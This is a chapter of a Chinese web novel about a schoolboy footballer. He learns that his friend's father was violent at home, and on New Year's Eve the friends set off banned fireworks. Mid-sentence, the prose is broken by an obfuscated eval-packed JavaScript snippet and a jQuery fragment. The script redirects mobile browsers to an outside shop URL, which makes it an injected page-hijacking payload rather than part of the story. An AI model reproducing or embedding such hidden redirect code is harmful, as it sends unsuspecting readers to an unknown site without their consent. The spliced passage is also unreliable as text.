池静明躺在无聊的假期里，透过房间那狭小的窗户看着天空。这扇窗有多小呢，小到池家从未考虑过给它装上防盗的栅栏，因为没有贼能从此处钻过。
八宝坑的冬天难得晴空当头，池静明躺在床上让一束阳光烤脚，手就随意翻着本《高考满分作文》。
他可是谨记了小赵老师的嘱托，假期头天赶大清早就找了夏逸梦，把她家的铁门敲得“咚咚”响，来意还未道明少女便把门“嘭”地打开，将什么砸了出来。
这不凑巧了，池静明捡起那散发着起床气的书，刚好够他看上几天的。
可是真等找好角度舒坦地躺下，那本《高考满分作文》就变得索然无味。贪多嚼不烂，议论文那漂亮的观点他一下学不来，顶多生搬硬套。
池静明把书抛到旁边，掏出手机翻找着林海听涛的《我踢球你在意吗》，这才是他的语文作文教材。
眼花缭乱的球赛看得池静明心潮澎湃，不知道该带入哪个少年成名的球员，只当球都是自己进的，转头又想起自己踢的是后腰，便有些局促，脑海中庆祝进球的姿势扭捏了起来。
自从尝试踢球后，林海听涛就是池静明足球乌托邦的上帝，他能让守门员串场踢前锋，能让主角领军逆转强队，能让美女经理和无数记者在场边欢呼……
冠军？大胜？美女经理？哪个和三十三中有关系？他们连个啦啦队都没有！
陪练是个假小子，教练是老头，守门员是篮球队归化的，连最重要的后腰位置，都是自己这个初生牛犊的家伙。
池静明又翻了那章《全国第一的后腰》，企图借鉴点儿什么，但越看越气愤，想着那精彩的比赛自己是从未踏足，反而挨了半个学期的训练，每天空跑着操场。
甚至他都想象不到自己站在比赛场上的模样，只得先站在日历前，掰着手指头数距离联赛开始到底还有几天。
“池子！”
小窗户传来喊声，池静明脑海里立刻浮现出一张眉飞色舞的脸。
“你来干嘛？”果然是杜康，池静明门刚推开半扇，就被眨眼的红色晃到了，“你这倒是看着真像要过年的。”
杜康站在幽暗的客厅里，红羽绒服黄裤子再配双蓝鞋，像个五彩的灯球。“怎么样！”
池静明不知如何评价，转身又回去房间偷笑了半天。
“哎你别跑啊，我这身行不行啊！”
“行，很行！”池静明跷着腿躺回床继续翻看小说，“三原色你都认识，真棒！”
“我可听出酸劲儿来了，”杜康双手插进裤兜，摆了个自认为有型的姿势，“哦对了，还有这个！”说罢他拉开羽绒服，又是那熟悉的梅西张着嘴跑的封面，“FIFA！2013！”
池静明看他耍宝，没什么新意：“这不都玩过了吗……”
“那不一样！”杜康宝贝似的双手捧着那盒光盘，“这是我妈给我买的！”
“哦！”
“这身衣服也是我妈给我买的！”
“嗯！”
“我妈回来了！”
“是吗！”
“今儿这么高兴的日子，走，去我家打游戏，”杜康伸手抢过池静明的手机，“哦……我寻思你这么入迷看什么呢，原来是林海听涛？”
“赵老师让我利用假期提升作文水平，我这正研究呢！”
“那你得看《冠军教父》啊！”
“我看什么冠军教父啊，我又不当主教练……快还我！”
“你晚上被窝里再看吧，走打一把！好久没打了，你现在技战术水平应该强多了。”
池静明被拉起身，索性下床穿好鞋：“成成成，那就打一把，就一把啊！”
杜家坐北朝南，此刻快要晌午，窗明屋亮，池静明刚走进院儿就瞅见杜康桌上的新足球：“这也是你妈买的？”
“是啊，旧的不去新的不来，”杜康嘴角咧到太阳穴，“反正快过年了，我妈说都要换新的！”
杜康的妈妈……
其实池静明早忘了杜康的妈妈全名叫什么，小时候总喊阿姨，他管谁都叫阿姨。
但他确定杜康妈妈姓康，这位康阿姨的模样在池静明心里已经很淡了。依稀想起是做售货员的，和同样做售货员的自己妈妈唐静比起来，性格简直是天壤之别。
小时候康阿姨就爱给杜康打扮，小皮鞋小背头，不知道的见了杜康还以为谁家的少爷出宫了，走在胡同里都招摇。
但没过几年康阿姨就走了，人走了孩子却留下了，池静明便再也没见过她。
离婚是什么？池静明看着杜康把光盘塞进游戏机里的背影，便知道这是他在“炫耀”。杜康在分享母爱，毕竟这是他最宝贝的东西。
池静明摆弄着手柄，抢先选了巴塞罗那，杜康立马跟上选了死对头皇马，衣柜里的电视晃过陌生的球员，池静明熟练地操控着，抢断、传球、起脚，俯瞰视角观察球队来回变化的阵型，决策着该如何晃过杜康麾下的后卫。
“球是踢了几个月，但开学就要市联赛了，池子你紧张不？”杜康借着池静明拿球的空档儿，随便问了嘴。
“你别分我心。”池静明以为这是什么新战术，加快了倒脚的速度。
“说真的呢，紧张不紧张啊？”
“紧张什么？”
“你不考试综合征吗？不赛前焦虑？”
“那我也用不着赛前俩月就开始焦虑吧……”池静明把球传到门前，梅西速度惊人，盘带几脚直接打门，球进了。
“但是我挺紧张的……”巴塞罗那球员在庆祝，杜康在解说中说道。
池静明别过头，打量着他：“你紧张？你全市比赛踢过那么多场，你紧张什么？”
“我想赢球，告诉我妈，支持我踢球没毛病。”杜康低着头搓着手柄，话就说得断断续续。
“康阿姨这不挺支持你的吗，又买鞋、又买球，还买游戏的……”
“弥补我罢了，她从来没说过喜欢我踢球，她和我爸什么事都合不来，唯独在这件事上统一战线。”
池静明又趁机抢断成功，杜康的后防继续门前失火，巴萨3-4-3的阵型攻守兼备，此时禁区里挤满了人，池静明并不会摁出炫技的射门，他只会利用球员特性来回倒脚寻找机会。
终于比赛结束前，球又进了，池静明把手柄还给杜康：“那小组赛可就靠你了。”
“哎！什么意思，要走？”
“说了就打一场。我回家吃饭了。”
“哦那……”杜康也没再留他，倒惦记起几天后过年的事，“除夕见吧。”
池静明着急回家，倒不是为了吃饭，他看着刚买完菜准备做午饭的母亲唐静，沉默地站在厨房门口，也不像是要打下手的样子。
“你杵这儿干吗？”唐静正拿着剪刀收拾一条肥硕的草鱼，“来，别闲着，给妈剥头蒜。”
池静明接过，用手掰开成两半，找准时机说道：“康阿姨来了。”
“哪个康阿姨？”
“杜康的妈妈。”
唐静从案板上抬起头：“哦……她啊，好多年没回八宝坑了。”
“爸说，康阿姨又结婚了，就不管杜康了。”
“你爸什么都只听一半，杜康他妈妈改嫁之后又生了小孩儿，况且杜康这么大了还用得着天天管吗……”
“可是杜康爸妈为什么会离婚？”
“大人的事儿，你别老瞎打听。”
池静明把蒜攥在手里：“那为什么大人离婚，孩子就不要了……”
刮鱼鳞的声音没有停，妈妈用复杂的眼神看向池静明，好像他说对了什么：“你还记得吗？你小时候上幼儿园那会儿，放了学总是和杜康在咱家玩，到很晚杜康妈妈才会来接他回家。”
“记得，”池静明点点头，“那时候你照看我们俩。我俩就在家门口玩，他骑我车，还抢我的双棒儿……从小我就不喜欢他，总是掐架。”
“杜康他妈妈那时候在百货大楼卖西装，后来她不干了就介绍我去的，也就这样你妈我才有了这个工作。百货大楼是从早到晚的班，大家都是上一休一，但是杜康妈妈很少休息，她能上班绝对不在家待着。”
“他家也不穷啊，用不着天天不着家吧，杜康他爸不是做生意的吗？”
唐静叹了口气：“他家是不穷，但是他爸年轻的时候在社会上交了些不三不四的朋友，家里人怕他犯事，就介绍了杜康妈妈，说结婚人就长大了，总能收敛点儿。结果他还是那个德行，连带着杜康他妈遭罪，那会儿天天上班就是为了躲他爸。”
池静明突然想起什么：“那他们离婚，是不是因为杜康他爸老揍杜康？”
“何止是揍他，有的时候吵得凶，他爸还打他妈，经常的大半夜邻居就报案，去了好几次派出所，这都不算完……他爸还不同意离婚，最后是你杜奶奶逼着才离的。”
那不是球砸的！池静明脑海里钻出个声音。
几个月前，在胡同拐角处，后视镜映出那男人的脸瞬间变得狰狞可怕。那天杜康嘴角的伤口，绝对不是足球砸的！
“哦……”池静明恍惚着回话。
“杜康这孩子，要不是他奶奶拉扯他，可能也就毁了。”
唐静的话落在池静明心底，好像他自己是被摁在案板上的那条草鱼，被刮去鳞片，切开胸膛，却怎么也找不到那芝麻大点儿心。
他那些年总是幼稚地讨厌着杜康，觉得他太爱炫耀，追在自己屁股后面，永远都在开不合时宜的玩笑，在胡同里大喊“池子”，好像他们有多亲近。
年幼的池静明发誓要摆脱这份亲近。
他讨厌杜康的自来熟，讨厌他优越的家境，讨厌他上了自己梦寐以求的三十三中……他厌恶杜康！
只是池静明不知道，自己的喜怒哀乐，总是那么轻易就浮现在脸上。他的厌恶早就被杜康看在眼里。
奢侈的阳光在午后彻底消失在池静明的房间，天色暗了下来，他躺在床上惦记起那本《我踢球你在意吗》。
我踢球你在意吗？这句话像是从杜康嘴里问出的。
谁会在意呢？
池静明很快发现了答案。他会在意。
当穿上那双纯白的球鞋，踏上球场，看着眼前那件9号球衣，上面印着“杜康”两个字，池静明真的开始在意了。
到了除夕那天池静明刚好看完小说的最后一章，不出意料，主角团获得了全国冠军，这份喜悦也让池静明对即将开赛的D市联赛充满无限遐想。
电视里传来春晚的声音，爸爸池飞难得没有出车在厨房煮着饺子。池静明吃着家中嫌少购买的稻香村熟食，隆重的节日里，连小泥肠都被切了花刀煎炸后才上桌。
他夹起一块沾着番茄酱塞进嘴中，想着这顿过后估计要平白无故长两斤肉了。
“池子！”窗外又传来熟悉的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745907|209002||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
喊声。
池静明嘴里还嚼着鸡腿，油乎乎的手举在半空：“干嘛！”
“你出来！”杜康在后窗户喊他。
鸡腿是万万不能放的，池静明衣服都没披，用胳膊肘摁下门把钻了出去，看着杜康在自家门口东张西望鬼鬼祟祟的，不免怀疑道：“你犯什么事了？”
杜康举了举手里的黑色塑料袋：“给你看个好东西！”
“你抢银行啦？”池静明把鸡腿含在嘴里，伸手扯开了袋子，眼前的东西让他不免骂了句街，“我靠，哪弄来的？”
“这你别管，”杜康狡黠地笑着，把口袋收起，看着池静明单薄的上衣摇摇头，“穿衣服去吧。”
池静明皱着眉头道：“你知道现在抓得多严吗？”
“没事，这个没有响！”
“那你等会儿，”池静明把骨头一吐，扭头回屋了，“你去喊夏逸梦，我去拿外套！”
杜康袋子里的不是别的玩意儿，正是D市城区禁放的烟花爆竹。
儿时还随处都可以放的二踢脚，这几年连卖都不让卖了。以前过年家家户户都会买挂鞭，小孩儿们都有门手艺，那就是顺着挂鞭的尾巴把每一根都拆下来，小鞭炮就捏在手里，用打火机点着引线扔到空中，纯听响。
那些年的除夕，天黑开始鞭炮声就不会停，孩子们在胡同里飞奔，漫天的烟花在空中此起彼伏，大年初一再出门，地面上准保是厚厚的一层红纸皮。
于是家家户户都要扫大街，纸皮能堆满好几个垃圾桶，新年向来如此。
如今是不会再有这般的盛况了。
杜康不知道从哪买来的手持烟花，已经是过年难得的消遣，价格不菲还是其次，市区内根本就见不到，应该是从郊区托人带回的。
夏逸梦对放炮很是热衷，见了杜康的呲花，直呼是小儿科的东西，但还是心口不一地从家里顺了个打火机，刚要点燃就想起什么似的，跑去大院那座宅子前敲门去了。
徐家灯火通明，门口的两个大红灯笼亮得晃眼，没过多会儿徐晨港就探出个脑袋，见着是同学神情就放松了些：“我当是谁呢。”
“徐总！给你看点儿好东西！”
“哎哟杜总，你哪买的？”徐晨港看了杜康的塑料袋也是这句话，但他并不是觉得稀奇，相反他从身后搬出个箱子，“你这款我怎么没买着！”
“合着你俩净搞这档子事儿……”池静明指着徐晨港的箱子，“你这一箱又是从哪来的？”
“村里拉过来的呗，算不上稀奇，杜康买的那个还能喷花呢。”
“这就别比了，”池静明四下张望，“找个没人的地方放？”
“嘿嘿！有个地方绝对没人逮，”徐晨港把门打开，“只要不带声，就没事。”
徐家的大院子倒确实是个放烟花的好地方，池静明第二次来这里，还是有些怯生生的。
眼前的景象不同于上次，因为过年，徐家到处都装点一新，见他们到访，徐爸徐妈特意招待他们，还把在屋里的徐晨阳轰了出来，美名其曰：都是孩子，得一起玩。
“给你这个，”杜康拿出塑料袋里的手持烟花，塞进徐晨阳手里，掏出打火机点燃引子，“徐总快准备，给你姐拍照啊！”
纸筒里闷声放出低矮的火花，点亮了徐晨阳的脸颊，朵朵烟花在四周窗户上重现，竟有从前胡同中烟火升天的盛景。
池静明站在徐晨港旁边，望向他手机屏幕中美好的画面，露出了发自肺腑的笑容。
“我来放个大的！”夏逸梦在院子中间放了个圆筒，“这个叫‘三分钟’，我要掐表了！”
五彩的火焰从圆筒中依次腾空，刚好到屋檐的高度，把院子打亮。徐晨港追在夏逸梦后面非要给她也拍张照，少女连忙逃跑，不巧半路被徐晨阳摁下抱着不撒手，被迫连拍了几张。
杜康把手肘撑在池静明肩膀上，二人就站在烟花后，白色的硝烟将他们与欢笑隔开，池静明扭过头看去，杜康正抿着嘴不知道在想什么。
远处的火光之间，池静明看到了儿时的画面，他们总是那样奔跑在八宝坑的每条胡同里，嬉笑着、打闹着，一切都没变。
真好，一切都没变。
“三分钟”真的坚持了三分钟，火光消失的时候，池静明才发现徐晨港的手机摄像头对着自己。
他连忙转过头去。好在夏逸梦随即又点起了新的焰火，红色的光充斥每个角落。
“池子，”杜康喊他，“新年快乐。”
“还没到十二点。”池静明道。
杜康笑得肩膀抖了起来：“你挺较真儿啊。”
“按你的时间算，现在是新年，那马上不就要开学了。”
“嗯，然后联赛也开始了。”
“真快……”
“立春了都。”
红色的焰火在空气中飞舞。池静明随口说了句：“我可不紧张。”
“嗯？”杜康没听懂。
“那天你问我联赛紧张不紧张，我不紧张。”
“哦？你的考前综合征治好了？”
“那倒不是。”池静明笑道，“我只是不怎么害怕输了。”
杜康难得地沉默了会儿。
池静明自顾自地开口：“其实，有的是比赢更重要的事儿。”
“是什么？”
“嗯，没什么，”池静明感受着肩膀上的重量，回眸看他，“新年快乐。”